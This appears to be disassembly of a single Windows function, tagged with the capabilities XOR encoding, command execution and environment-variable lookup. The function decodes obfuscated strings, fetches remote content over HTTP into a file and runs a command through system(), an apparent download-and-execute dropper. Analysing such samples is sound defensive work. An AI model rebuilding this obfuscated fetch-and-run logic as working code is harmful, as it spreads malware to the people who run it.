Function at 0x1400128a8
Capabilities:
Encode data using xor
Execute command
Query environment variable

Disassembly:
mov qword [rsp + 8], rsi
push rbp
lea rbp, [rsp - 0x270]
sub rsp, 0x370
mov rax, qword [0x1400a0280]
xor rax, rsp
mov qword [rbp + 0x260], rax
mov cl, 0x61
mov dword [rbp + 0x60], 0x110c1561
mov dword [rbp + 0x64], 0x419044f
xor eax, eax
mov byte [rbp + 0x68], al
xor byte [rbp + rax + 0x61], cl
inc rax
cmp rax, 7
jae 0x1400128f5
mov cl, byte [rbp + 0x60]
jmp 0x1400128e3
mov byte [rbp + 0x68], 0
lea rax, [rbp + 0x61]
mov qword [rbp + 0xc0], rax
xor r8d, r8d
lea rdx, [rbp + 0xc0]
lea rcx, [rbp + 0x100]
call fcn.140003550
nop
mov cl, 0x1e
mov dword [rbp + 0x50], 0x737b6a1e
mov word [rbp + 0x54], WSASetLastError
xor eax, eax
xor byte [rbp + rax + 0x51], cl
inc rax
cmp rax, 4
jae 0x14001293e
mov cl, byte [rbp + 0x50]
jmp 0x14001292c
mov byte [rbp + 0x55], 0
lea rcx, [rbp + 0x51]
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
mov qword [rbp + 0xc0], rax
xor r8d, r8d
lea rdx, [rbp + 0xc0]
lea rcx, [rbp + 0x90]
call fcn.140003550
nop
lea r8, [rbp + 0x100]
lea rdx, [rbp + 0x90]
lea rcx, [rbp + 0xe0]
call fcn.140012848
nop
lea rcx, [rbp + 0x90]
call fcn.14001d63c
nop
lea rcx, [rbp + 0x100]
call fcn.14001d63c
lea rax, [rbp + 0xe0]
cmp qword [rbp + 0xf8], 7
cmova rax, qword [rbp + 0xe0]
mov qword [rbp + 0xc0], rax
mov rax, qword [rbp + 0xf0]
mov qword [rbp + 0xc8], rax
movaps xmm0, xmmword [rbp + 0xc0]
movdqa xmmword [rbp + 0xc0], xmm0
lea r8, [rsp + 0x30]
lea rdx, [rbp + 0xc0]
lea rcx, [rbp + 0x70]
call fcn.140003644
nop
lea rdx, [rbp + 0x70]
cmp qword [rbp + 0x88], 0xf
cmova rdx, qword [rbp + 0x70]
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x20]
lea rcx, [rsp + 0x40]
call fcn.14000ddb8
mov rax, qword [rsp + 0x40]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x40], rax
mov rax, qword [rsp + 0x40]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x3c], edx
mov esi, 0x1000
mov rdx, qword [rbp + 0x88]
cmp rdx, 0xf
jbe 0x140012a86
inc rdx
mov rcx, qword [rbp + 0x70]
mov rax, rcx
cmp rdx, rsi
jb 0x140012a81
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140012a81
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007a9c4
movdqa xmm0, xmmword [0x1400823f0]
movdqu xmmword [rbp + 0x80], xmm0
mov byte [rbp + 0x70], 0
lea rcx, [rsp + 0x38]
call fcn.140028c6c
nop
movdqa xmm0, xmmword [0x1400824f0]
movdqu xmmword [rbp + 0x90], xmm0
movdqa xmm1, xmmword [0x1400825d0]
movdqu xmmword [rbp + 0xa0], xmm1
mov dword [rbp + 0xb0], 0x4d560150
mov dword [rbp + 0xb4], 0x16110b06
mov dword [rbp + 0xb8], 0x71a074c
xor eax, eax
mov byte [rbp + 0xbc], al
xor ecx, ecx
mov al, byte [rbp + 0x90]
xor byte [rbp + rcx + 0x91], al
inc rcx
cmp rcx, 0x2b
jb 0x140012aed
mov byte [rbp + 0xbc], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x80], xmm1
lea rax, [rbp + 0x91]
or r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140012b27
lea rdx, [rbp + 0x91]
lea rcx, [rbp + 0x70]
call fcn.140002c64
nop
lea rax, [rbp + 0x70]
mov qword [rbp + 0x60], rax
lea rax, [rbp + 0x90]
mov qword [rbp + 0x68], rax
lea rdx, [rbp + 0x60]
lea rcx, [rbp + 0x100]
call fcn.14000d644
lea rax, vtable.cpr::Url.0
mov qword [rbp + 0x100], rax
lea rdx, [rbp + 0x100]
lea rcx, [rsp + 0x38]
call fcn.140029d18
nop
mov rdx, qword [rbp + 0x120]
cmp rdx, 0xf
jbe 0x140012bc5
inc rdx
mov rcx, qword [rbp + 0x108]
mov rax, rcx
cmp rdx, rsi
jb 0x140012bc0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140012bc0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007a9c4
movdqa xmm0, xmmword [0x1400823f0]
movdqu xmmword [rbp + 0x118], xmm0
mov byte [rbp + 0x108], 0
lea r9, [fcn.140010e08]
mov edx, 0x20
lea r8d, [rdx - 0x1f]
lea rcx, [rbp + 0x70]
call fcn.14007a8b8
lea r8, [rsp + 0x40]
lea rdx, [rbp + 0x130]
lea rcx, [rsp + 0x38]
call fcn.140029524
lea rcx, [rbp + 0x130]
call fcn.1400119c0
lea rcx, [rsp + 0x48]
call fcn.14001dc80
test rax, rax
jne 0x140012c44
mov rax, qword [rsp + 0x40]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x40]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
lea rax, [rbp + 0xe0]
cmp qword [rbp + 0xf8], 7
cmova rax, qword [rbp + 0xe0]
mov qword [rbp + 0x60], rax
mov rax, qword [rbp + 0xf0]
mov qword [rbp + 0x68], rax
movaps xmm0, xmmword [rbp + 0x60]
movdqa xmmword [rbp + 0x60], xmm0
lea r8, [rsp + 0x30]
lea rdx, [rbp + 0x60]
lea rcx, [rbp + 0xc0]
call fcn.140003644
nop
mov cl, 0x71
mov dword [rbp + 0x50], 0x10050271
mov dword [rbp + 0x54], 0x510503
xor eax, eax
xor byte [rbp + rax + 0x51], cl
inc rax
cmp rax, 6
jae 0x140012cad
mov cl, byte [rbp + 0x50]
jmp 0x140012c9b
mov byte [rbp + 0x57], 0
lea r8, [rbp + 0xc0]
lea rdx, [rbp + 0x51]
lea rcx, [rbp + 0x70]
call fcn.140002158
cmp qword [rax + 0x18], 0xf
jbe 0x140012ccf
mov rax, qword [rax]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp + 0x88]
cmp rdx, 0xf
jbe 0x140012d15
inc rdx
mov rcx, qword [rbp + 0x70]
mov rax, rcx
cmp rdx, rsi
jb 0x140012d10
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140012d10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007a9c4
movdqa xmm0, xmmword [0x1400823f0]
movdqu xmmword [rbp + 0x80], xmm0
mov byte [rbp + 0x70], 0
mov rdx, qword [rbp + 0xd8]
cmp rdx, 0xf
jbe 0x140012d6a
inc rdx
mov rcx, qword [rbp + 0xc0]
mov rax, rcx
cmp rdx, rsi
jb 0x140012d64
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140012d64
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007a9c4
nop
lea rcx, [rsp + 0x38]
call fcn.1400290c4
nop
lea rcx, [rsp + 0x40]
call fcn.1400147dc
nop
mov rdx, qword [rbp + 0xf8]
cmp rdx, 7
jbe 0x140012dc5
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xe0]
mov rax, rcx
cmp rdx, rsi
jb 0x140012dc0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140012dc0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007a9c4
mov rcx, qword [rbp + 0x260]
xor rcx, rsp
call fcn.14007ae40
mov rsi, qword [rsp + 0x380]
add rsp, 0x370
pop rbp
ret